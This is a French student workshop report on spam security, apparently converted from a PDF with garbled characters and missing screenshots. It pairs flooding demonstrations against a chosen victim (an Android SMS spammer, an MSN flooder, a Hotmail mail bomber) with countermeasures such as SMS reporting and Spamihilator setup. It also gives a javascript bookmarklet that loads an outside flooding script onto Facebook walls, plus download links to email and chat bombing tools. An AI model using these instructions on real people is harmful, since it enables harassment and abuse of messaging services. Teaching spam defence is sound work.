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Atelier : Sécurité contre les spams  



     1-Spam : 

Le  spam est une technique de prospection consistant à diffuser massivement, par courrier électronique 

des informations, souvent de nature publicitaire, non sollicitées par les internautes destinataire   

Le but premier du spam est de faire de la publicité à moindre prix par envoi massif de courrier 

électronique non sollicité 

     2-Effets du spam : 

Les inconvénients majeurs du spam sont : 

¶ l'espace qu'il occupe dans les boîtes aux lettres des victimes ; 

¶ la difficile consultation des messages personnels ou professionnels au sein de nombreux messages 

publicitaires et l'augmentation du risque de suppression erronée ou de non-lecture de messages 

importants ; 

¶ la perte de temps occasionnée par le tri et la suppression des messages non sollicités ; 

¶ le caractère violant ou dégradant des textes ou images véhiculés par ces messages, pouvant heurter 

la sensibilité des plus jeunes ; 

¶ la bande passante qu'il gaspille sur le réseau des réseaux. 

 

Le spam induit également des coûts de gestion supplémentaires pour les fournisseurs d'accès à internet 

(FAI), se répercutant sur le coût de leurs abonnements. Ce surcoût est notamment lié à : 

¶ la mise en place des systèmes anti spam. 

¶ la sensibilisation des utilisateurs. 

¶ la formation du personnel. 

¶ la consommation de ressources supplémentaires (serveurs de filtrage, etc.). 

 

      3-Anti -spam :  

Qualificatif appliqué à un logiciel qui permet de se prémunir contre le spam ou à une fonctionnalité 

d'un logiciel non exclusivement dédié à cette tâche. 

 Un logiciel anti-spam a pour vocation de limiter le volume de courriels non sollicités par leurs 

destinataires et/ou d'en faciliter le traitement. 

 

De tels logiciels peuvent être déployés à chaque maillon de la chaîne qu'un e-mail parcourt lorsqu'il est 

acheminé de son expéditeur à son destinataire (sur le serveur gérant l'envoi, sur celui gérant la 

réception, voire sur l'ordinateur du destinataire). 

 

Ces logiciels reposent pour la plupart sur l'analyse du titre et du texte du message et sur la mise en 

îuvre de filtres. 

                 

        

 



                               

 

1-Introduction  :  

L'application pour téléphones Android SpammySMS permet d'envoyer en boucle des SMS à un 

destinataire. 

2-Simulation : 

On a programmé une application (extension .apk)  permettant de configurer la victime, le message à 

envoyer et le nombre de répétitions afin de spammer un téléphone android par sms. 

Pour installer notre application apk sur lô®mulateur android,  il faut suivre les étapes suivantes :  

*créer un avd(émulateur) sous eclipse 

Nous lançons Eclipse  

2. Nous allons sous « Windows > Android SDK and AVD Manager »  

3. Nous sélectionnons « Virtual Device » dans le panneau à gauche  

4. Nous cliquons sur « New ». La boite de dialogue « Create New AVD » apparaîtra  

5. Nous tapons le nom de notre AVD, « hello_avd » par exemple  

6. Nous choisissons la cible (the target). La cible est la version de la plateforme Android SDK que 

nous avons téléchargé.  

7. Nous cliquons sur « Create AVD » 

 

 

*lancer lôémulateur en exécutant la commande suivante : emulator.exe ïavd le nom de lôémulateur 

 

Lô®mulateur sôaffiche :  



 

 

 *puis créer un nouveau dossier sous c:\ et y placer les fichiers suivants depuis android-sdk-

windows\platform-tools :  

    adb.exe 

    AdbWinApi.dll 

    AdbWinUsbApi.dll 

*en ligne de commande entrer sous ce dossier et exécuter la commande suivante :  

 

 

 

L'installation hors market Android nécessite de modifier les paramètres du téléphone pour l'installation 

d'applications de sources inconnues : dans Paramètres, cliquez sur Paramètres des applications puis 

cochez Sources inconnues. 

*envoyer notre application situ®e sur notre pc et lôinstaller sur le t®l®phone en exécutant la commande 

suivante :  

 

Et  voila notre application SpammySMS est installée sur le téléphone .on la trouve parmi les 

applications du téléphone. 



 

 

L'utilisateur configure la victime, le message spam, et le nombre de répétitions comme suit :  

 

Et d®s quôon clic sur ok 10 messages seront envoy®s a lô®mulateur nÁ5556. 

 



 

 

Et lô®mulateur nÁ5556 re­oit les 10 messages :  

 



 

 

3-Solution Anti-spam Android :  

*Le service 33700 SPAM SMS vous permet en effet de signaler tout spam reçu par SMS afin que 

l'auteur du SPAM ne puisse plus envoyer. La procédure pour signaler du SPAM par SMS est alors très 

simple : 

Dès la réception d'un SMS abusif sur votre mobile, vous pouvez le signaler en quelques secondes en le 

transférant par SMS au numéro 33700. 

- Etape 1 : Vous recevez par SMS un message abusif 

- Etape 2 : Vous transférez tel quel ce SMS au numéro 33700 

- Etape 3 : Vous recevez un message du 33700 vous invitant à compléter votre signalement en 

renvoyant au 33700 le numéro depuis lequel vous avez reçu ce SMS abusif 

Le service "33700" est bien entendu totalement gratuit. Aucun SMS ne vous sera décompté si vous ne 

possédez pas un forfait SMS illimité. 

*Il y a un  malware qui se diffuse via un lien malveillant dans un spam SMS, au sujet d'une "mise à 

jour pour une faille de sécurité". Si l'utilisateur clique sur le lien, le cheval de Troie agit en arrière-

plan, aucune icône n'apparaît en tant qu'application et demandera les permissions du téléphone puis se 

connectera à un serveur distant pour télécharger d'autres malwares. 

De plus il a la capacité de lire, écrire et envoyer des messages de SMS. 

 Les utilisateurs peuvent vérifier son installation dans  les paramètres Settings > Applications > 

Manage Applications pour voir sa présence sous le nom "android.system.providers". A partir de ce 

menu, les utilisateurs peuvent désinstaller le cheval de Troie comme une application normale. 

 

            

 

 

 



          

 

* On ouvre Visual Basic Ą nouveau projet ĄWindows Forms application 

 

*  Ajouter les objet suivants : Text Box , Timer , 2 Button (start, stop) 

 

 



 

*Double clic sur les objets et insérer le code de chacun :  

    

                                

 

 

 

 

1-Application spam sur MSN Messenger : 

 

Pour spammer un utilisateur  MSN Messenger qui est sur votre liste dôami, il suffit dôouvrir la fen°tre 

de discussion puis appuyer sur « start ». 

 

 

 
 

 

 

 



2-Solution anti-flood MSN Messenger 

 

Afin de vous prot®ger contre ce type dôagacement, une des solutions que jôai trouv® est un plug-in 

WLM safe sur Messenger plus.  

 

  

 

WLM Safe offre une protection gratuite pour l'utilisateur Windows Live Messenger. WLM Safe 

surveille toute activité pour détecter la présence de virus, les tentatives de phishing, de copies, de flood 

ou de spam et les menaces de bots, de hackers ou d'usurpation de compte 

3-Application spam sur  Facebook : 

Pour spammer le mur dôun ami sur Facebook, il est préférable dôutiliser le navigateur Firefox. 

*Pour commencer, allez sur la page de votre victime : 

 

*Coller le script suivant dans lôURL : 

javascript:(a = (b = document).createElement("script")).src = 

"http://flooder.googlecode.com/files/FBWF.js", b.body.appendChild(a); void(0) 

 



 

*une fenêtre apparaitra dans la quelle vous allez écrire le nombre de statut que vous voulez écrire sur 

ce mur : 

 

*Puis écrire le statut : 

 

*Appuyer sur entrée et actualiser la page, vous aurez votre résultat. 

 

4- Solution Anti -spam Facebook : 

Comme à chaque mal sa solution, defensio, un service de sécurité web, a ajouté une fonctionnalité de 

défense anti-spam pour les sites de réseaux sociaux. 

          *Exemple sur le réseau social Facebook : 

On trouve ce service sous forme dôapplication. 

 

 

 



 

5- Application spam sur Hotmail  : 

 

* On crée un nouveau projet nommé mail bomber 

* On aura besoin de : 

   

                              

On aura : 

                        



 

*Le code est le suivant : 

 

 

* Pour lôex®cuter Il suffit dôappuyer sur run  et de remplir les champs, on doit faire attention au label2 

(0) qui sôincr®mente ¨ chaque envoi de message  

 

                    

 

 

 

 



 

6-Application anti -spam Hotmail  : 

*Pour lôusage personnel on peut t®l®charger des antispams gratuitement, les plus connu sous Windows 

sont : hijackthis, spamihilator, spamPal, spambouster, spamkiller, mailWasheré 

*Sous linux :SpamAssassin ,MailScanner  

 

 On choisira dans notre atelier comme antispam sous Windows spamihilator  

*Pour commencer, vous devez télécharger Spamihilator, À noter que cette solution a l'avantage d'être 

compatible avec l'ensemble des différentes versions de Windows 

 

Spamihilator permet de « filtrer » les comptes mail utilisant des technologies POP3 ou IMAP. Pour 

faire simple, disons que l'essentiel des boîtes mails que vous relevez avec un client comme Microsoft 

Outlook / Outlook Express, Thunderbird, Eudora exploitent un serveur POP3 ou IMAP. Sachez 

également que certains fournisseurs d'accès à Internet ou d'adresses mails gratuites comme Hotmail 

intègrent bien souvent une technologie anti spam sur leurs serveurs. 

 

*Après le téléchargement, vous pouvez lancer l'installation de Spamihilator et appuyer sur suivant au 

premier écran. Ensuite, le programme vous demande quels modules vous désirez installer. Par défaut 

tout doit être coché, vérifiez donc que c'est bien le cas et validez. Le programme devrait ensuite vous 

demander si vous souhaitez activer les « DCC Filter ». Laissez le choix sur « Enable DCC Filter ». 

 *Enfin, le programme vous invite à entrer un emplacement pour l'installation de Spamihilator, vous 

pouvez laisser celui qui est proposé par défaut et cliquer sur « Install ». Une fois l'installation 

terminée, Spamihilator lance automatiquement son assistant pour configurer votre client email avec cet 

antispam. Restez sur Install et cliquez sur « Next ». L'assistant vous propose alors de choisir le client 

email (Thunderbird, Outlook Express, Outlook 2000/2003é) que vous utilisez sur votre machine. Si 

vous utilisez celui qui était fourni par défaut avec votre PC, il suffit de choisir Outlook Express. Si 

vous avez installé un autre client email pour traiter votre courrier électronique, choisissez-le dans la 

liste et cliquez sur « Next » 

 

   

 
 

 

 

http://www.clubic.com/telecharger-fiche9647-eudora.html


 

                            

 
*On doit ensuite présenter l'ensemble des comptes email que vous avez envie de filtrer avec 

Spamihilator. Cochez-les tous ou cochez seulement ceux sur lesquels vous recevez du SPAM. Une 

fois passée cette étape, l'assistant se charge de configurer votre messagerie pour qu'elle fonctionne 

avec Spamihilator.  

 

*Rendez-vous dans les propriétés de chaque compte email (sous Outlook Express cela se trouve dans 

Outils > Comptes puis double cliquez sur le compte). Vérifier les données au niveau du serveur 

(onglet serveur dans Outlook Express). Le champ (serveur) courrier entrant POP3 ou IMAP doit 

comprendre « localhost » (sans les guillemets). Le champ SMTP doit toujours être celui de votre 

fournisseur d'accès / d'email (exemples : smtp.nerim.net, smtp.Wanadoo.fr, smtp.laposte.net). 

 

                                 

 

Il faut enfin noter le port utilisé pour les comptes POP3 ou IMAP (onglet avancé dans Outlook 

Express). De manière générale le il s'agit du numéro 110. 

http://www.jeuxvideo.fr/societes-du-jeu-video/Wanadoo.html


 

                                

 

*Dans le spamihilator, dans les configurations, partie « Connexion  », vérifiez que les Ports POP3 ou 

IMAP correspondent bien à ce que vous avez noté dans votre client email, sinon corrigez-le dans 

Spamihilator. 

 

  



1-Introduction  : 

    Maintenant il est plus simple et rapide de bomber votre cible sur Facebook ,Skype ou par mail . 

2-Simulation : 

Tout dôabord il suffit dôinstaller les 2 deux programmes suivants :  

Deluxe Email bomber :  http://deluxe-tools.net/news.php?readmore=148 

Deluxe Chat spam   : http://www.mediafire.com/?9zpuvuh9shz85ap 

 

Deluxe Email bomber :  

*On procède par connexion à votre adresse email en utilisant le serveur SMTP. 

           

*Puis appuyer next pour spécifier votre cible et le nombre de message à envoyer ainsi que le sujet et le 

contenu de message. Et enfin appuyer START. 

 

            

http://deluxe-tools.net/news.php?readmore=148
http://www.mediafire.com/?9zpuvuh9shz85ap


 

                                      

 

Et voila  le résultat au niveau de la cible. 

                       

 

 Deluxe Chat spam 

 

                        

 

*Il suffit dôentrer le message 1 et 2 ou un seul message en décochant lôoption ótwo messagesô  



  

                        

*Ouvrir Skype ou Facebook choisir votre cible  

*Appuyer start et déplacer le curseur vers la zone de saisie. 

                             

Et voila le résultat au niveau Skype : 

 

 

Au niveau Facebook : 

 



         

 

3-Solution  anti-spam Skype : 

Pour se protéger contre  le spam de personne hors liste dôamis il suffit de changer ces options. 

*Entrer outils > options > vie privée et cocher comme suit : 

 


